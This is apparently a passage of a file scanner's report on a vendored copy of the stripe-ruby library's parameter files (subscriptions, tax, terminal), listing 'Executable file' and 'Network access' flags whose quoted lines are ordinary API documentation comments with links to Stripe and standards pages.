    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_delete_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 10
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 7
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 42
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 48
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 77
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 81
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 82
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 83
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 84
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 85
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 87
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 93
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 95
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 97
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
  • Network accessline 101
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_list_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 94
    # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscriptions, including those belonging to deleted customers. Pass `ended` to find subscriptions that are canceled and subscriptions t

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_migrate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_resume_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions/billing-c
  • Network accessline 10
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (default value), no prorations ar
  • Network accessline 12
    # If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 99
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 103
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 198
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 200
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 202
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 225
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 231
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 347
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 382
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 384
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 388
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 415
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 421
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 425
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 462
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 466
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 472
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 476
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 490
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 494
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 563
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_release_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 79
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 83
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 178
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 180
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 182
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 205
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 211
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 327
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 362
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 364
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 368
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 395
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k
  • Network accessline 401
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 405
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 442
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 446
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 452
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 456
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w
  • Network accessline 470
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex
  • Network accessline 474
    # Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re
  • Network accessline 539
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for subscriptions](https://docs.stripe.com/search#query-fields-for-subscriptions).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 58
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 60
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 62
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 85
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 91
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 204
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 239
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 241
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 245
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 278
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 284
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 288
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 380
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 517
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 575
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 579
    # Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions
  • Network accessline 593
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 595
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 609
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 615
    # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip
  • Network accessline 617
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 618
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 619
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 620
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 621
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 623
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 627
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 629
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 631
    # If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat
  • Network accessline 637
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/association_find_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Valid [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) id

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 19
    # State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible.
  • Network accessline 77
    # A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 80
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 86
    # A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax/reports).
  • Network accessline 90
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `product` is provided, we will use the default t
  • Network accessline 116
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 124
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
  • Network accessline 152
    # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes are calculated on top of 
  • Network accessline 154
    # If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, `tax_code`, or `tax_behavior` param
  • Network accessline 158
    # The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.com/settings/tax) is used.
  • Network accessline 168
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_list_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 326
    # Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1452
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlington Heights), `06613` (Bloomington), `10906` (Campton Hills), `2
  • Network accessline 1461
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago).
  • Network accessline 1471
    # A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Philadelphia City).
  • Network accessline 1492
    # Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2007
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/settings_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/settings_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One of inclusive, exclusive, or inferred_by_currency
  • Network accessline 10
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 23
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 31
    # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_from_calculation_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 11
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_reversal_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 10
    # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 16
    # The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed.
  • Network accessline 39
    # The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 41
    # The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative.
  • Network accessline 51
    # A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from the transaction, including taxes.
  • Network accessline 55
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 61
    # A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exported [tax reports](https://docs.stripe.com/tax/reports).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_list_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_code_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_code_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 20
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 24
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 20
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_delete_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/connection_token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # The id of the location that this connection token is scoped to. If specified the connection token will only be usable with readers assigned to that location, otherwise the connection token will be usable with all readers. Note that locati

